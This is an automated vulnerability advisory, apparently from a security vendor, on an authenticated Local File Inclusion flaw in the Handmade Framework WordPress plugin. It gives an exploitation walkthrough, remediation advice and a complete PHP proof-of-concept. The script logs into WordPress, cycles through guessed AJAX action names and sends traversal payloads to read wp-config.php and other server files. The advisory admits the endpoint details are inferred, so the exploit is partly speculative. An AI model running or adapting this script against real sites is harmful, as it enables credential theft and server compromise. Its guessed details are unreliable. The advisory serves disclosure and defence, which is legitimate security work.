Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22521: Handmade Framework <= 3.9 – Authenticated (Contributor+) Local File Inclusion (handmade-framework)

Severity High (CVSS 7.5)
CWE 98
Vulnerable Version 3.9
Patched Version
Disclosed January 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22521 (metadata-based):
The Handmade Framework plugin for WordPress versions up to and including 3.9 contains an authenticated Local File Inclusion (LFI) vulnerability. This flaw allows attackers with contributor-level or higher permissions to include arbitrary files from the server, potentially leading to remote code execution. The vulnerability resides in a PHP file inclusion mechanism that improperly validates user-supplied file paths.

Atomic Edge research identifies the root cause as CWE-98, Improper Control of Filename for Include/Require Statement. This classification indicates the plugin likely uses a user-controlled parameter directly in a PHP `include()`, `require()`, or similar function without proper path traversal validation. The description confirms authenticated attackers can include files, suggesting the vulnerable endpoint performs insufficient sanitization on a filename or path parameter. These conclusions are inferred from the CWE and vulnerability description, as no source code diff is available for confirmation.

Exploitation requires an authenticated session with at least contributor-level privileges. Attackers would send a crafted HTTP request to a plugin-specific AJAX handler or admin endpoint, manipulating a file path parameter. A typical payload uses directory traversal sequences like `../../../wp-config.php` to access sensitive files, or includes previously uploaded files containing PHP code. The plugin slug `handmade-framework` suggests AJAX actions may follow patterns like `handmade_framework_action` or `hmfw_action`. Attackers could target `/wp-admin/admin-ajax.php` with a malicious `action` parameter and a `file` or `path` parameter containing the traversal payload.

Remediation requires implementing strict validation on any user-supplied input used in file inclusion operations. The fix should restrict included files to an allowlist of expected, safe filenames within a specific directory. Path traversal sequences must be filtered, and absolute path resolution should be performed before checking if the resolved path remains within the intended directory. WordPress security functions like `realpath()` combined with `strpos()` checks against the plugin’s base directory can prevent directory escapes.

Successful exploitation grants attackers the ability to read sensitive server files, including WordPress configuration files, environment variables, and system files. Including files containing PHP code leads to arbitrary command execution with the web server’s privileges. This can result in complete site compromise, data exfiltration, and server-level access. The vulnerability’s impact is amplified in environments where users can upload files, as attackers can upload a malicious image with embedded PHP code and then include it via this LFI flaw.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22521 - Handmade Framework <= 3.9 - Authenticated (Contributor+) Local File Inclusion
<?php
/*
 * Proof of Concept for CVE-2026-22521
 * This script attempts to exploit a Local File Inclusion vulnerability in the Handmade Framework plugin.
 * Assumptions based on CWE-98 and WordPress plugin patterns:
 *   1. The plugin exposes an AJAX endpoint for authenticated users.
 *   2. A parameter (e.g., 'file', 'path', 'template') is passed directly to an include/require function.
 *   3. Contributor-level or higher permissions are required.
 *   4. The AJAX action name likely contains 'handmade' or 'hmfw'.
 *
 * Usage: php poc.php <target_url> <username> <password> <file_to_include>
 * Example: php poc.php https://example.com contributor password123 ../../../wp-config.php
 */

$target_url = $argv[1] ?? '';
$username   = $argv[2] ?? '';
$password   = $argv[3] ?? '';
$file_to_include = $argv[4] ?? '../../../wp-config.php';

if (empty($target_url) || empty($username) || empty($password)) {
    die("Usage: php poc.php <target_url> <username> <password> [file_to_include]n");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');

// Step 1: Authenticate to WordPress
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die("[!] Authentication failed. Check credentials.n");
}
echo "[*] Authenticated successfully.n";

// Step 2: Exploit LFI via suspected AJAX endpoint
// Common AJAX action patterns inferred from plugin slug
$possible_actions = ['handmade_framework_action', 'hmfw_action', 'handmade_action', 'hmfw_load', 'handmade_load'];
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

foreach ($possible_actions as $action) {
    $post_fields = [
        'action' => $action,
        // Common vulnerable parameter names for file inclusion
        'file' => $file_to_include,
        'path' => $file_to_include,
        'template' => $file_to_include,
        'include' => $file_to_include
    ];
    
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    $response = curl_exec($ch);
    
    // Check for indicators of successful file inclusion
    if (strpos($response, 'DB_NAME') !== false || 
        strpos($response, '<?php') !== false || 
        strpos($response, 'define(') !== false) {
        echo "[+] Potential success with action: $actionn";
        echo "[+] Response snippet:n" . substr($response, 0, 500) . "nn";
        break;
    }
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School